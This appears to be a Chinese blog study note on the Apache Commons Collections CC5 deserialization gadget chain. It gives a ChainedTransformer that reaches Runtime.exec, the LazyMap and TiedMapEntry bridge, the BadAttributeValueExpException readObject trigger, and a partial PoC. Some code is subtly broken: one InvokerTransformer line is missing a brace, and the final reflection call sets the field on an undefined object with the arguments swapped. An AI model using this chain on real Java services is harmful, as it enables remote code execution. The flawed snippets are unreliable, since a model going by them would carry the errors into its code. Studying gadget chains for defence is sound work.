当前位置:   article > 正文

Java反序列化CC5链子学习_java cc5

java cc5

前言:

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。

前几天分析学习了一下CC1链子,今天在pte课余的时候学习了一下CC5链子,发现前半部分基本上和CC1基本链子都基本一致

这里先放一下前面的一段链子:

  1. Transformer[] transformers = new Transformer[]{
  2.                 new ConstantTransformer(Runtime.class),
  3.                 new InvokerTransformer("getMethod",new Class[]{
  4.                              String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
  5.                 new InvokerTransformer("invoke",new Class[]{
  6.                             Object.class,Object[].class,new Object[]{null,new Object[0]}),
  7.                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
  8.                 };
  9.   Transformer transformedChain = new ChainedTransformer(transformers);

前半段的实现逻辑就是主要靠ChainedTransformer的transformer方法完成链子的实现:

  1. public Object transform(Object object) {     
  2.  for (int i = 0; i < iTransformers.length; i++) {          object = iTransformers[i].transform(object);      
  3. }      
  4. return object;  
  5. }

下半段的实现逻辑,靠调动TiedMapEntry的getValue(),getValue()又调用了get()方法:

  1. public Object getValue() 
  2. {        
  3. return map.get(key);    
  4. }

而这里的get方法会去调用this,factory的transform方法,靠这里跟上半段完成了衔接,调用了ChainedTransformer,而getValue()方法会由TiedMapEntry的toString方法调用,接下来就是寻找readObject方法了,这里使用的是BadAttributeValueExpException的readObject方法。

  1. private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
  2.         ObjectInputStream.GetField gf = ois.readFields();
  3.         Object valObj = gf.get("val", null);
  4.         if (valObj == null) {
  5.             val = null;
  6.         } else if (valObj instanceof String) {
  7.             val= valObj;
  8.         } else if (System.getSecurityManager() == null
  9.                 || valObj instanceof Long
  10.                 || valObj instanceof Integer
  11.                 || valObj instanceof Float
  12.                 || valObj instanceof Double
  13.                 || valObj instanceof Byte
  14.                 || valObj instanceof Short
  15.                 || valObj instanceof Boolean) {
  16.             val = valObj.toString();
  17.         } else { // the serialized object is from a version without JDK-8019292 fix
  18.             val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
  19.         }
  20.     }

接下来放下半段的poc了,分开放的目的是因为这篇文章主要是为了学习,所以不提供现成的poc了。

  1. Map innerMap = new HashMap();
  2. Map outerMap = LazyMap.decorate(innerMap, transformedChain);
  3. TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"chd");
  4. BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
  5. Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
  6. val.setAccessible(true);
  7. val.set(poc,badAttributeValueExpException);

希望各位师傅多多指点

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/很楠不爱3/article/detail/694831
推荐阅读
相关标签
  

闽ICP备14008679号